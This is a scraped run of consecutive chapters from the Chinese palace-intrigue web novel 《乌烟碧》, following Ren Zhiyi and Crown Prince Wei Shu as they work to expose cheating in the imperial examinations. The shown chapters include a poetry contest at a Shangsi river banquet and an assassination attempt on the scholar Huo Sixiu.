“我自然有我的私心,只是暂时不方便告知。你只需要知道,我既然答应了,便会倾尽全力助你,义无反顾,一往无前。” 霍思修默然良久。 他是死过一次的人,还有什么好怕的! 人生苦短,总要做一些自己认为值得的事。 ** 赌坊开局人润了口茶,继续道,“……好!咱们最后说的这个人,想必大家都很熟悉,景家二公子景随。” 任知宜双眸一动,嘱咐霍思修道,“关于此人,你务必听仔细了!” “说起这位景二公子,道一句玉磬天成真是毫不为过!论相貌,温润如玉,风林俊秀;论才学,他的诗作京城无人不晓;论家世,他可是景相之子……” 开局人讲完一众才子的生平,笑眯眯道,“状元局,迎状元。诸位尽可挑选最合自己心意的状元人选。” 隔着帷帽,任知宜瞥见苏叶将一包银子放入开局人的手中。 她方才明白,京城中的状元局人尽皆知,其后可能有太子在推波助澜。 人人都想做状元,此时正是人心易动之时。 太子放她出狱时,言明给她七日之限,她若不能证明自己的用处,还是会被重新投入大狱之中。 她必须要尽快取得太子信任! 待苏叶走后,任知宜拿出几两碎银子放在安州举子刘泰的名牌之下,“我买他!” “公子,请留步!” 任知宜转身回望,喊住她的是一个年约二十五六的男子,看起来有几分眼熟。 对方瞧见任知宜清丽的模样,双眸一亮,“原来是位姑娘!” 任知宜不想理会他,戴上帷帽,转身要走。 “暧……”那男子拦住她,“姑娘何必走这么快呢!” “让开!” 那男子笑得肆意,“姑娘为何要买刘兄赢啊?” 任知宜好笑道,“与你何干?” 那人一顿,保持着笑容道,“姑娘不要误会!在下解州李佑康!与刘泰兄同为今科贡士。” 任知宜闻言,眉心一蹙,原来是他! < 7. 初心 《乌烟碧》全本免费阅读 日落西空,佳木成阴。 别院中,卫枢解开一捆木头,一刀刀地劈了下去。 “吱呀……”,木门被人推开。 卫枢手上动作不停,随意道,“灶上有刚蒸的野菜,你若是饿了,可以吃些。” 苏叶无奈地扶额,“殿下你怎么又在这里。陛下和皇后一直问我,为何不见你在东宫。” “有急事?”卫枢微微蹙眉。 “倒不是急事……乐坊新进了一个胡姬,舞姿出众,陛下和皇后都非常喜欢,想与殿下你一同赏舞。” 卫枢沉默半晌,拎起炉上的銚子,倒了一大碗水,仰头饮尽。 苏叶心知他不喜皇宫生活,劝慰道,“之前陛下和皇后担惊受怕了好些年,好不容易等到叛乱平息,现在求些安逸的生活也是常情。” 二人说话之际,哑巴老仆走进来,一顿比手画脚,才说清楚,有一位姑娘要见太子殿下。 “莫不是任知宜?”苏叶问道。 老仆点点头。 苏叶想起什么,抚着下巴笑了一会儿。 “我在兴盛赌坊见到这位任姑娘。” 卫枢挑眉,静静地等他把话说下去。 “懂得利用状元局探听举子的消息,倒是个聪明人……她带着一个落榜举子和一个丫鬟,在赌坊里跟解州举子打了起来。” 卫枢长眉深蹙。 苏叶继续笑道,“不用担心。她身边那个傻呆呆的丫鬟竟然是个绝顶高手,难怪两个弱女子敢千里迢迢,跋山涉水地來兆京!” 卫枢思忖片刻,吩咐老仆,“你出去告诉任知宜,说孤不会见她。” 老仆领命离去。 苏叶不解,“殿下不是接了此女的投名状?” 卫枢将砍好的木柴捆扎起来,落在墙角,淡淡道,“七日为限,与孤无干。” “回宫吧!” 卫枢披上墨青色外衣,一方汉玉九龙珏挂于腰间,广袖轻甩,繁复的祥云纹饰在光下清晰可见。 锦衣着身,眉目凛冽了三分,似是又恢复了如碎玉般的清冷矜贵。 苏叶紧跟其后,嘱咐道,“陛下近日为了重修懿华宫的事儿心中不快,你今日回宫,记得切不可提此事。” 马车行至皇宫东英门,卫枢隔门下马,宫道之上众人跪伏两侧,谒太子千岁。 宫城分东西两侧,正中为正极殿和清和殿,由文华门而入,可直接到达西侧的文昌阁和乾元殿议事堂。 将至文华门,卫枢听到“哒哒”的马蹄声,疾走的脚步顿时停下来。 大胤为官者,可于文华门下马的朝中仅一人而已,乃是当朝中书令,人称景相的景郦。 顺着重叠的宫门望去,景郦的身影渐行渐近,座下的白义马通体雪白,胸叶缀满珠片,赤色的飞卢极其耀目。 据说,这是当年安丘国进献的贡马,陛下赞此马“类景卿之高洁儒雅”,将其赐予他。 卫枢站在文华门前,静静地等待着景郦。 “景相辛苦!”卫枢施礼,态度恭谨。 “老臣见过太子殿下。” 景郦历经两朝,花甲之年,早已得圣令加恩免跪,可是每次见到卫枢,他都要正式地行君臣之礼。 他身姿挺拔,双目矍铄,惟有面如沟壑,似刀斧镌刻一般,显得人不怒自威。 “殿下可是去面圣?” “正是!”卫枢问道,“景相是否要与孤同行?” 景郦眉间紧皱,像是在思考什么,眼角的纹路显得愈加深刻,“陛下看到老臣,恐怕什么好兴致都没有了。” 卫枢淡淡道,“景相何出此言?” “殿下稍后见到陛下,务必多多规劝。当年懿华宫被大火烧得面目全非,如今再说修葺也是毫无意义,请陛下三思。” 嘉以元年,赣南道节度使叛乱。叛军一路打到了兆京,帝后出逃,只留下一些嫔妃和宫女因为反抗叛军而被烧死在懿华宫。 皇帝回京后想要重修懿华宫,可是景相一直不同意。 卫枢面色平静,目送景郦的背影远去,目色幽深。 他随口问道,“景相今日进宫,所为何事?” “禀殿下,听说是有流民作乱的奏报呈上来,景相与几位尚书在文昌阁会谈。”内侍叹道,“今夜恐怕又是一宿,如此操劳,不知道景相的身体吃不吃得消!” “嗯……”卫枢淡淡地应了一声。 ** 御苑之中,琴音袅袅,绵密轻柔。 风情万种的胡姬站在舞台正中,和着节拍,舞动着细软的腰肢,足尖旋转,宛若即将飞升的仙子。 待卫枢的身影出现,皇帝微笑着挥挥手,示意他近前。 藤萝掩映,水净空明。 “枢儿,你来得正好!快看这胡舞,与我大胤的舞姿截然不同!” 皇帝捋着几缕髯须,看上去像个儒雅的文士,“几日不见,我儿怎地又瘦了些!” “见过父皇、母后!” “真得瘦了!宫人是如何伺候的!”郑皇后生着一张白皙的圆脸,整个人丰腴圆润。 “母后!”卫枢按住她的手,轻拍着安抚道,“和宫人没有关系,儿臣很好!” 郑皇后因关切而绷紧的身子渐渐放松了下来,“当年你走失之后,我夜夜睡不安稳,梦见你饿得瘦骨嶙峋,哭喊着让母后救你……” 说着说着,她又禁不住落下泪来。 “这么多年过去了!你怎地又提起此事!”皇帝有些无奈道,递上帕子为她拭泪。 御前的吴内侍见状,赶忙让舞姬散去,自己也远远地退到一旁。 郑皇后攥着帕子,抚着卫枢的脸颊,“我儿受了这么多苦!母后当年发过誓,若能将你找回,定要将最好的都补偿于你……” 见皇帝亦笑着附和,卫枢心内微叹,薄唇轻动,终究没有将心内所想说出来。 “父皇最近身体可好,可有按时召见太医?” “李太医说朕和你母后身体都不错,下个月参加春猎绝无问题。” 卫枢感受到他们的喜悦,微笑道,“春猎时,儿臣想与父皇一同狩猎,猎些山鸡兔子,给父皇下酒。” “哈哈哈………好啊!”皇帝开怀大笑,“朕还记得你小的时候,朕让你端臂执弓两个时辰,你却说什么弓无箭矢,实在寡淡无趣!” 8. 醉酒 《乌烟碧》全本免费阅读 月夜无尘,风清空净。 入夜后,起了一阵凉风,柳叶沙沙作动,响在寂静的夜里。 卫枢见老仆走进院子,低头将身前的酒杯斟满,“踏月而来的总是不速之客!告诉来人,孤今日谁都不见!” 老仆急忙比划着说,这次来的还是上一次那位姑娘,她说无论如何也要见卫枢一面。 “任知宜?” 老仆点点头。 “让她回去!改日再来!”卫枢身子半仰,饮尽杯中酒,一掷空杯。 ———— 任知宜听到老仆的传话,秀眉深蹙,面色沉了下来。 太子其人,着实不好相与。 她花银子雇了个乞儿盯着,才等到他回别院,眼看七日之限将至,接下来要做的事,若得不到卫枢的允可,恐是个麻烦。 眼见四下无人,她盯着丈高的墙头,眸光幽幽,“宝珠,有没有办法能让我从这里上去?” 宝珠绕着别院转了一圈,兴冲冲地跑回来,“那边有棵矮树!” 说是矮树,约摸也有六七尺高。 任知宜踩着宝珠的肩膀,用力抱住树干,颤颤巍巍地站起来,朝树下一望,地面宛如一个无底的黑洞,要将人活活地吸进去。 她咬着下唇,闭上眼睛,心脏快要从胸腔里飞跳出来。 “小姐,你快爬上墙头!一会儿要有人来了!” 任知宜僵着身子,半分不敢乱动,只觉得轻轻一动,单薄的枝桠便摇得叶落纷飞。 寂静了半晌。 “宝珠!”任知宜哑着嗓子,颤声道,“扶我下去!” 落地的任知宜面白如纸,大口喘息了几下,望着丈高的墙头出神。 “不如……我替小姐进去送信!” 任知宜攥紧冰凉的手心,缓缓道,“破门!” “什么?”宝珠一怔。 任知宜指着别院的后门,缓缓道,“收着点力,别闹太大动静。” 宝珠咽了咽口水,小姐的畏高症越来越严重,胆子倒是越来越大了! —— 黑漆漆的院子,空旷俱寂,连一处烛火都没有。 借着朦胧的月色,她找到后院。 映入眼帘的,是一幅月下独酌,公子饮醉的画面。 呵…… 任知宜冷笑,三番五次地拒见她,还以为是有什么要事缠身! 石桌旁,酒液顺着倾倒的壶流淌下来,三两酒盏落在地上,醺地满院酒香。 卫枢半伏在石案上,双眸闭阖,玉面微醺。 她放在唇边试了试,味道辛辣,是十足的烈酒。 与寻常醉酒之人闹酒撒疯不同,卫枢醉地很安静。 一缕鬓发斜斜地覆在纤长的眼睫上,宛若乌色的鸦羽,面上的肌肤因为酒醉透出三分晕红。 “太子倒是长了一副清俊无双的好样貌!”任知宜凝视他的醉颜,淡淡笑道。 借着月色,她瞥见卫枢的右眉下面有一道寸长的疤,颜色微红。 任知宜不自觉地朝前凑近了几分,指尖拨开鬓发,想看清楚那疤痕的样子。 不料他突然一下子翻了个身,她收手不及,指尖在他眉间的疤痕上划过。 好险! 任知宜匆忙后退,见他未醒,方长长地舒了一口气。 未料到,尊贵如太子,竟也会遇到如此凶险的时候。 这疤痕是剑伤,当年这剑若是再下偏一点,卫枢的右眼便保不住了。 “殿下,殿下醒醒!”任知宜轻声唤道。 不知是梦见了什么,卫枢不但不醒,眉间越蹙越深,像是入了什么逃脱不掉的梦魇。 任知宜思忖片刻,将早已备好的信压在酒盏下面。 “太子殿下,明日机会难得,我定不能错过。我已留书向殿下解释原委,若是殿下不出面阻止,知宜便当殿下是默许!” 视线扫过卫枢的周身,停在腰间的白玉九龙珏上。 色泽通透,凝白如脂,一看便是价值不菲的珍品。 任知宜眸光一亮,喃喃自语道,“如今我也算是为殿下办事的人,没有个信物终究是不好行事。” “事急从权,得罪了!” 她一把扯下九龙珏,揣在怀中。 转身走了几步,任知宜突然停下脚步,将身上已经沾了泥的披风解下来,覆在卫枢的身上。 “贪杯伤身,日后还是少喝些酒吧……” 踏月而来,迎月而去,徒留一院淡淡的醇香。 ………… 啁啾,啁啾。 春风袅袅,雀鸣莺啼。 卫枢悠悠醒来,身上的披风倏地滑落。 青玉色的丝锦披风……显然是女子之物! 他揉了揉发痛的鬓角,迟迟回忆不起昨夜的事。 清风徐徐,柳絮飘飞,一团一团的落在石案上。 又是一年杨柳日,又是一年的三月初二。 卫枢拿起杯盏下的信,展开一阅,面色微变。 视线扫过纸上的落名——任知宜,他复又瞥了一眼手中的披风,有一瞬间的恍惚,昨夜是不是见过她,好像记不真切了…… 苏叶信步而来,高声问道,“殿下,这好好的门怎么破了?” 卫枢不着痕迹地将披风收拢于后,“恐是有些夜半宵小,我随后找人修补一下即可。” “京城的治安已经这么差了?”苏叶不可置信地摇摇头,“殿下日后还是尽量住在东宫,安全一些。” 卫枢斜睨他一眼,“有何事?” 苏叶正色道,“按照殿下的吩咐留下线索,让南衙卫找到了“窈娘”的尸身,他们将尸体埋在了城西。” “他们可有怀疑这尸体的身份?” “暂时没有。” 卫枢手指轻敲案台,眉心聚拢,“既然出动了南衙卫,他们必然知道窈娘手里有舞弊交易的名册,没拿到名册,他们不会罢休。” “殿下还是觉得,南衙卫搜捕窈娘是因为发现窈娘偷偷记录了名册?” 卫枢背手而立,神情凝肃,“凌香阁的舞姬行刺当朝礼部侍郎家的公子,南衙卫奉旨搜捕,何须遮遮掩掩?” “呵……”苏叶敛了笑容,“若真如殿下所说,今日早朝于文崇以老父年迈为由请辞,便是背后之人打算弃车保帅。” 于文崇任礼部侍郎多年,处事圆滑,人缘颇佳,他膝下有一独子,名唤于靳,好色成性 9. 曲水 《乌烟碧》全本免费阅读 杨柳飞絮,新燕琢泥。 大胤国的上巳节,曲水流觞、春歌宴饮是一贯的习俗。 曲江河畔,彩帷遍地,为大胤风雅之地。年老的长者,儒雅的文士,甚至及笄的女子都喜欢来此欣赏曲水流觞的盛况。 每隔三年,春闱会试之后,入甲的举子都会临水设宴,以文命题,以诗会友。 因着陆三爷的关系,任知宜三人得以坐到望江楼的一处高台雅座,推开窗棂,即可将曲水宴饮尽收眼底。 望江楼下,江畔有一流杯池,长三丈,宽一寻,内有曲水、石阶,众人列坐其中,一觞一咏,畅叙幽情。 任知宜侧立于窗前,细细打量了一会儿,指着坐于上首的文士问道,“那人是谁……宽袍、广袖,面带微髯!” “好像是今科主考官范昉范大人!”霍思修有点紧张道,“范大人都来了啊!” “你怕了?”任七秀眉一挑,额间梅花花钿轻动,现出美人薄笑的样子。 “不,不!”霍思修慌忙摆手道,“只是有些紧张!” 宝珠端着一大碗荠菜煮木须进来了,双手揉搓着手心,兴奋道,“快,小姐!祓禊除恶,集福祛病,先吃了再说。” “多,多谢宝珠姑娘!” 自从上次在赌坊见到宝珠一敌十四之后,霍思修再与她说话,总是带着几分景仰。 宝珠也不理会,塞了满嘴的食物,咕咕囔囔道,“霍书生,你别都吃光了,记得给小姐留一个啊……” “失礼,失礼……”霍思修面上一红,呐呐应道。 絮絮嘈声,窗外阵阵惊呼起。 众人让路,两位灰色锦衣男子阔步而来。 走在前面的人身高八尺,宽肩阔腰,双臂壮力,走起路来若流星踏步,颇具武人风范。 不像书生,倒像个将军。 任知宜心中暗奇,正在猜测此人是谁,突然瞥见他身后那个不苟言笑的年轻男子。 脸庞方正,一双剑眉,炯炯星目,神情很是肃穆。 观这形貌,似乎是……那位安州才子刘泰。 那么走在他前面的这位,难道是? 她心中暗暗一惊,听说安州王视他为亲子,事事为他铺路,难道此人竟是安州王何卢? 不远处的帷幔之内,另有二人看到此人,也相视一惊。 大胤有令,王侯非诏不得入京! 苏叶尴尬地望着卫枢,磕磕绊绊道,“其实……安州王,是被陛下诏来京城的。” 来人,确实是安州王何卢。 “皇后娘娘有意与安州王结亲……” 苏叶说完,眼观鼻,鼻观口,不敢去看卫枢的脸色。这件事连他都知道,却独独瞒着卫枢,这自然是郑皇后的意思。 卫枢果然面色骤沉,眉头拧了又拧。 安州王何卢原本是一名军中校尉,因为在嘉以之乱平定叛乱有功,一路扶摇而上,被封骠骑大将军。 叛乱平息后,何卢急流勇退,主动上交兵符,领了安州王的虚衔,退守安州,成为大胤唯一一个异姓王。 虽说军权已收,但是却可屯田养兵,这些年安州在何卢管辖下日渐富庶,不容小觑。 卫枢心中不豫,移开视线。 却见不远处望江楼的窗帷被清风掠起一角,女子的容颜一闪而过。 曦和熠熠,白色丝带飘于发间,若流风回雪,额间花钿色胜丹朱,乍望之下犹如点映在远山青黛的一抹红。 “这位任姑娘果然来了!”苏叶也看到她的身影,惊叹道。 “不过……”,苏叶面带忧色,“谁也没料到安州王会不请自来,她可千万不要一意孤行,将情势搞得一发不可收拾!” 流杯池上,安州王与范昉互揖见礼,从容地坐于上首左座,范昉居右。 参加此次集会的多为文人士子,眼见何卢大大咧咧地坐下,举止粗鄙,大多人心中禁不住鄙夷,笑他一个莽汉出身的武将,却学人行风雅之事。 何卢手执酒杯,袍袖一挥,“今次本王是陪义子刘泰前来,你们文人弄墨的事情,本王不懂,自然也不会多言。” 任知宜听到他的话,露出几分微妙的神情,“霍书生,你与刘泰,谁的才学更高?” 称呼从霍举子到霍书生,霍思修感觉自己在这主仆俩面前的地位越来越低。他面露难色,“若传言不虚,当是不相伯仲。” “那你一会儿跟他说话的时候,尽量客气点儿!”任知宜不放心地嘱咐道。 “那是自然!”霍思修想当然地赞同,以文会友,又怎会不客气! 两人正兀自说话,流杯池上已起喧声。 有一举子缓缓站起,“在下解州宫北楼,我提议将羽觞置于木舟之中,顺渠池而流,流至谁的前面,谁就饮酒一杯,并赋诗一首。如今是暮春时节,不如以春为题,各位意下如何?” 原来他就是这届解州举子的魁首宫北楼! 任知宜远远望去,此人身量单薄,面瘦额窄,身上带着几分阴郁之气。 范昉轻轻点头,众人纷纷附和,场面登时活络了起来。 不多久,羽觞停在一名豫州举子的面前,他先施一礼,仰饮杯中酒,微微迟疑道,“在下豫州左池,献丑了……春风识百草,新燕啄新泥。君莫问归期,但解杨柳意。” “好!”众人拊掌,这位豫州才子的诗虽不算惊艳,但胜在清新雅意,算是开了个好头。 接下来又有几位才子赋诗歌咏,好不热闹!霍思修有些着急,“我何时过去?” 任知宜视线扫过众人的表情,“再等一等!” 酒酣耳热之际,一人微晃着身体,站起来道,“如此流觞,雅则雅矣,却有些乏味,不如我们行酒令吧!” “如何行?李兄可有建议?” “久闻刘兄乃安州第一才子,少有才名,是不是也让我们解州举子见识一下刘兄的文采!” 任知宜嘴角轻轻上扬,这个说话的人正是冤家路窄的李佑康! “走!时机到了!”任知宜扫了一眼霍思修的装扮,极合时宜! 10. 曲水 《乌烟碧》全本免费阅读 曲江之畔,云雾缭绕,江风乍起。 被陡然喊出名字,解州郭嘉怔愣了一会儿,后知后觉地明白过来,对方一早就是冲着他们而来,十几位解州举子面色都变得青白一片。 宫北楼远远地望向范昉,却见范昉只顾垂头饮酒,他心中失望,温和道,“今日乃上巳节,佳节良辰,霍兄何必非要一争胜负!” “哈哈哈……”安州王何卢一声大笑,“这是李贡士的提议,刚才你和泰儿不是也未反对嘛!本王久居安州,就让本王见识一下真正的江南文士吧。” 不远处的帷幔轻启,又缓缓落下。苏叶转身对着卫枢笑道,“他们拿安州王当个大老粗,不料被人家摆了一道!” 卫枢淡淡道,“何卢一心为刘泰造势,想在朝中培植势力,解州一派便是他绕不过去的坎,今日任知宜误打误撞倒是给了他一个机会。” “只不过……”卫枢欲言又止,“范昉这个人,你可了解?” “范昉也是解州人,状元出身,前年获封文昌阁大学士,我与他打过几次照面,为人低调讷言,但是官声还不错。我调查过他的私产,只有一处宅邸和几亩田产。” 卫枢点了点头,送了一块儿茶煎入口。 在众人的期待目光之下,郭嘉喉头发涩,看了一眼满脸阴色的宫北楼,闷声道,“请!” 霍思修唯一沉吟,“春江玉水暖,行人濯足清。” 行春令,霍思修的诗句中,“春”在第一字,则接下来的诗句便在第二字的位置,依次类推下去。 郭嘉沉默半晌,应道,“暮春三月气夕佳,杨柳青青江上斜。” 霍思修不假思索,“潇潇春来晚,烟雨杏花寒。” “桃花迎春红……”郭嘉面色微白,停了一会儿继续道,“……黄莺争暖树。” 此诗一出,众人失望之中带点惊讶,若说郭嘉的第一句诗是差强人意,那么这第二句则是毫无可取之处,解州才子名满天下,没想到郭嘉的诗作如此不济。 “夜雨残花枝惊春,江烟雾霭意浓浓。” “好诗!好才思!”人群中有学子拊掌赞叹道。 霍思修的诗作得飞快,郭嘉额前渐渐渗出薄汗,“宿鸟,宿鸟归……”,面色红一阵白一阵,说不出来。 “不如请郭兄身旁的王易之王兄补句。”霍思修神情淡定,二十一名解州贡士的名字、相貌他都了熟于心。 没过几轮,王易之也败下阵来。 流杯池前聚集的人越来越多,很多人开始对解州举子指指点点,霍思修恍若未闻,朗声再道,“房州学子霍思修,求请解州关忻行令赐教。” “房州学子霍思修,求请解州路寻行令赐教。” “房州学子霍思修,求请解州刘相永行令赐教。” ………… 一个个铩羽而归,霍思修不见之前的拘谨,越发才思敏捷,一首七言弹指即成,人群中不时地传来为他喝彩的呼声。人们看他的目光从不屑到惊讶,从惊讶到赞叹,宛如看到了一颗大胤文坛的明珠,璀璨夺目。 人潮汹涌,苏叶也不自禁地步出帷幔赞叹道,“这位霍公子才华横溢,如此才学名落孙山,真是明珠蒙尘,世道不公啊。” 卫枢抬眼,正望见霍思修对着任知宜腼腆一笑,缓缓道,“也许这个书生真地能成为我们破局的关键……” 越过数人,霍思修走到李佑康的面前,将脊背挺得笔直,目光沉沉,“我房州并非北地穷蛮,不曾开化!房州学子同样十年寒窗,求取科举也绝不是痴心妄想。” 曾经,他还会为了这人的奚落而自缢轻生,如今想来着实可悲可笑,终究要死,何不奋力一争,打破这不公;即使只是看他们图穷匕见的狼狈,也同样畅快淋漓。 李佑康未及发作,宫北楼先一步站起来道,“霍公子才学过人,是我等妄自尊大,有眼无珠,我代李兄向霍公子致歉。” 霍思修微微一笑,“无妨!房州学子霍思修,求请解州宫北楼行令赐教。” 眼见好话说尽,霍思修仍然不依不饶,宫北楼心中怒极,面上却笑意更盛,“既然如此,宫某荣幸之至。” 宫北楼提议,“以江为名,以赋为令,霍公子意下如何?” “好啊!”任知宜拍掌笑道,“不如设置一炷香的时间。” 有人问道,“如何判断,谁写得更好?” “那就有劳安州王和范大人了!” 何卢哈哈一笑,摆摆手道,“姑娘太瞧得起本王了,本王于作赋一窍不通,做不来的。” 宫北楼闻言,心下稍安,却听人群中一道声音传来,“不知道老朽有没有这个荣幸做一次评判?” 一位七旬老者捻着白须,从人群中缓步走来。 “啊……是徐山长!”有人认出了老者的身份。 大胤国曾建有四大书院,鼎盛时期与国子监地位相当,门下弟子无数,多居高位而品性高洁,为世人所称道;其中以松石书院声名最盛,即使像景相这等人物也曾在松石书院读过两年书。山长徐胤台乃是当代大儒,极为受人尊敬,由他来评判两个举子的才学,自然不会有任何一人反对。 范昉快步走过来,眸中带笑,“多年不见,山长依然健如松柏!” “范大人!”徐胤台感慨道,“是啊!一转眼,已经过了这么多年,当年书院的旧人就剩老朽一个了。” 宫北楼、霍思修等一众学子皆上前见礼,“徐山长!” 徐胤台望向霍思修,笑容和煦,“才思不错……” 霍思修闻言,激动得声音都在发颤,“多,多谢山长夸奖!” “不过,年轻人行事还是不要太过于锋芒毕露才好!”徐胤台捋着白须,缓缓笑道。 霍思修一怔,坦然道,“去尽锋芒,学生更无退路。” 徐胤台笑了笑,不置可否。 莲花形铜香炉置于方桌正中,以一炷香为限。 绢纸铺就,彤管在握。霍思修远望江波浩瀚,百感交集,迟迟不能落笔。反观宫北 11. 刺杀 《乌烟碧》全本免费阅读 黑黝黝的云似要团团地压将下来,天地一片乌色,大雨顺着檐廊倾泻而下,四下空寂。 轻轻的叩门声悄然响起,三下一停,再一次三下一停。 门被人从里面打开,扣门之人一身蓑衣,头戴斗笠,已经淋成了个水人。 来人步履匆匆,不及脱下蓑衣,甫踏入厅堂便跪地哭道,“老师救我!” 厅堂座上之人纹丝不动,只是淡淡地看了他一眼,“你自己惹下的祸事,还有脸让别人救!” 声音低沉沙涩,正是景郦。 来人跪着,膝行数步,伏在景郦的脚前泣道,“老师,朝中关系盘根错节,我若不答应,日后与他们必生嫌隙啊。” 景郦怒起,右手一挥,打掉了他的斗笠,露出一张仓皇惊惧的脸庞。 “我当初真是昏聩了,居然选了你做礼部尚书!你还有脸说朝中关系,那十几份相似的考卷,听说一份就要两万两银子,你将大胤科举当作什么!” 礼部尚书肖显秀磕头如捣蒜,哭喊道,“学生,学生一时昏了头……” 景郦闭上眼睛,拨动着手中的念珠,“今日曲江河畔的事儿你也都听说了吧!你想想如何应对天下悠悠众口吧!” “学生听说,只是一个无权无势的房州举子和一个不知道哪儿冒出来的灵州长史的女儿,料想翻不起什么波浪!” 景郦冷笑,“那你漏夜冒雨前来,找本相作甚。” “听说……”肖显秀脸色一白,嗫嚅道,“听说太子有意要查科举……” “毕竟是年轻人嘛……”景郦长长叹道,“人在年轻的时候总是有很多的想法和抱负,不像本相,已垂垂老矣。” 肖显秀惊惧不已,“听闻太子极恶贪墨,我若犯在太子手中,该如何是好!求老师给指条明路吧!” “呵……”景郦放下念珠,动了动眼眸,“你过来!” 几句低声耳语后,肖显秀怔了半晌,一阵夹着夜雨的风穿堂而过,他的里衣早已湿透,被这冷风一吹,当真是刺骨寒凉。 景郦再一次拿起念珠,悠悠叹道,“为官者,清正廉洁乃是第一要则,你既然出了此等事,仕途就莫要再想了。” 肖显秀背脊僵直,重重地叩首,“学生明白了!” ………… 自景府厅堂而出,可见石桥架于荷塘之上,夜雨淅淅,一串串地打在荷叶上。 景郦站在石桥之上,驻足道,“把伞给我,你回去歇着吧!” 仆从走后,他穿过卵石径,花木扶疏,尽头是一座竹精舍。 精舍之内,放着一把素鸣琴。琴音清温松透,岳山处有一截断纹,极为难得。 景随一袭白衣,乌发松散,修长瘦削的手指抚过琴弦。 “今日为何没去曲江?” “不想去!”景随漫不经心道。 “你没去,刘泰也未赢得半分声名。一场曲水流觞的聚会,全给一个落榜的房州书生作了嫁衣。” “好啊!”景随小心地擦拭着琴身,嘴角轻轻勾起,“那不是正合您意!” “景随!”景郦厉声喝道,“你是我的儿子!不要一直用这种口气同你的父亲说话。” 景随手下一顿,“……父亲有话直说吧!” 景郦深吸一口气,脸色阴沉,“明日你去趟范府,他是本届主考,你问问他这次会试解州举子的才学究竟如何。” “父亲为何自己不去?” 景郦冷嘲道,“你拜他为师,待他如父,由你去问他才能说实话,不要像今日这般任性。” “……”,景随眼眸一缩,胸口微微地起伏。 “别忘了,你答应过你娘,会考中今科状元,告慰她在天之灵,为父等着你的好消息。” 景随目送他远去的身影,眼底一片淡漠。 ………… 悦昇客栈门前,店家笑逐颜开地看着门口排起的长龙,清了清嗓子道,“上房四十两,中房二十两,下房十两。仅打尖的客官请这边移步……” 自从霍思修一战成名,每日过来找他的人络绎不绝,有的是慕名拜访,有的是求学问道,还有的想借挑战他扬名天下。 霍思修不胜其扰,任知宜倒是欢喜,找了店家商量,将这些人的客栈房费加倍,多出来的利润分给任知宜五成。 店家一口应下。 任知宜赚了银子,请霍思修和宝珠二人吃饭。 入夜的兆京带着些许冷意。 馄饨摊前,三人接过热气腾腾的馄饨汤,深深地吸了口香气。 任知宜轻轻吹着热气,与他们商量道,“我打算明日拜访陆三爷,请他帮咱们租一处宅子。” 霍、宝二人面露不解。 任知宜解释道,“客栈人多眼杂,不太方便……” 霍思修沉默了一会儿,看看宝珠,复又看看任知宜,面带难色道,“有句话霍某一直想说……” 望着二人不解的眼神,霍思修咬牙道,“你们与霍某住在一起,恐怕,恐怕于二位姑娘闺誉有损。” 任知宜和宝珠面面相觑,像是从未考虑过此事。 霍思修看任知宜思索沉默半晌,怕她着恼,忙不迭解释道,“不是霍某不知好歹,只是如今这世道对姑娘家不是那么宽容,我怕会有流言蜚语中伤你们……” 任知宜咬了一小口馄饨,赞同地点点头道,“霍书生,你说得对!” 霍思修心下一松,却听任知宜又道,“霍书生如今已是处在风口浪尖,若是有人借着“德行有亏”为由攻讦,日后倒成了祸患。” 霍思修傻眼,这理由,怎么与他想得不太一样呢! “不如这样……”任知宜微微思索,闪着明眸道,“我年方十七,不知霍书生你虚龄几何!不如你我结成异性兄妹,之后便再无惧流言蜚语!” “啊……”,霍思修一怔,张大口说不出话来。 “你不愿意?”任知宜蹙眉,“还是说,你想与宝珠结成异性兄妹?” 宝珠眨着眼睛望过来。 霍思修慌忙摆手,“怎敢不愿!姑娘救吾性命,是霍某高攀了!” “那就这么说定了!”任知宜樱唇微扬,“霍书生,日后你就是我的义兄!明日咱们就去兆京府刘府尹那里做个公证。” “咕咚……” 三人闻声侧望,一个头发花白的粗衣老汉不小心摔倒在地,鹿车上的油桶倾倒,茶油从桶口渗漏出来。 “老人家您没事吧?”霍思修冲上去扶起他。< 12. 幕僚 《乌烟碧》全本免费阅读 熹微破夜,天空中泛起一片片鱼肚白。 春弘街比往常更安静,很多人因为半夜听到刀剑声,一直不敢出来。 直到天明,很多人试探着向外望去,看到任知宜他们一路敲锣打鼓地将匪徒送到兆京府衙。 众人纷纷纳罕称奇。 不到半日,京城的流言甚嚣尘上。 霍思修遇刺的事已成为兆京百姓茶余饭后的新谈资。 有人说是因为宫北楼因妒生恨,还有人说,解州举子已经闭门不出。 ………… 任知宜带着宝珠出了城。 “小姐,我们是去太子的别院吗? 任知宜一夜未睡,靠在马车后壁解解乏,“嗯!” 宝珠兴冲冲地问道,“这次还需要我去破门吗?” 任知宜闻言一哂,轻声道,“此事日后不要再提。” “哦……” 马车停下,昨夜的两名黑衣男子等在门口,“任姑娘,请!” 今日的卫枢身着一袭烟灰色长衫,玉面金冠,背手立于树下,清贵逼人。 “臣女见过殿下。” 卫枢转身,温言道,“起身说话,过来坐吧!” 任知宜垂首敛眉,想着要如何开口提她爹的事情。 “曲江之事,你做得不错。” 任知宜心下一松,径直问道,“殿下给臣女七日之限,臣女既然迈出第一步,殿下是否也该兑现诺言?” 卫枢微微挑眉,将茶盏缓缓推至她面前,“孤不会再追究你的行賕之罪……但是,你爹暂时还不能被放出来。 “殿下还是不信我?”任知宜轻轻拧眉。 卫枢轻声道,“你爹的事,孤已派人查过!” “……” 任知宜心中一紧。 卫枢望向她,今日的任知宜未贴花钿,亦没戴珍珠步摇,仅用一根玉笄绾住乌发,淡雅中透着素净。 她素手紧握,莹润的指甲透出淡淡的粉色。 想起那一夜留在他眉间的丹蔻,卫枢沉吟片刻,“之前你……” 见他欲言又止,任知宜不明所以,怔怔地望着卫枢。 卫枢端起茶盏,轻轻地抿了一口。 “殿下……”,任知宜小声提醒道,“我爹的案子……” 卫枢恢复了一贯的清冷,“你爹确实是个清官。” “殿下明察!”任知宜惊喜道。 “州仓被盗,证据中却有盖着你爹印鉴的支粮单,此案的确有些蹊跷。” 卫枢抿了一口茶,“不过,案子还不明了……” 任知宜突然敛起羽缎裙摆,屈身跪地。 “殿下,我爹身体不好,这几个月的牢狱之灾已让他的旧疾复发。臣女也知道案子未明,但是我怕我爹的身体扛不住。” 任知宜倔强地咬着下唇,眼睫微微作颤。 卫枢神情微顿,缓缓道,“孤倒是没看出来,你还是个性急的……” “你听孤把话说完!刑部方面,孤已让他们将案子延后,而且知会过灵州府衙,将你爹移到府司狱关押,也派了大夫过去。” 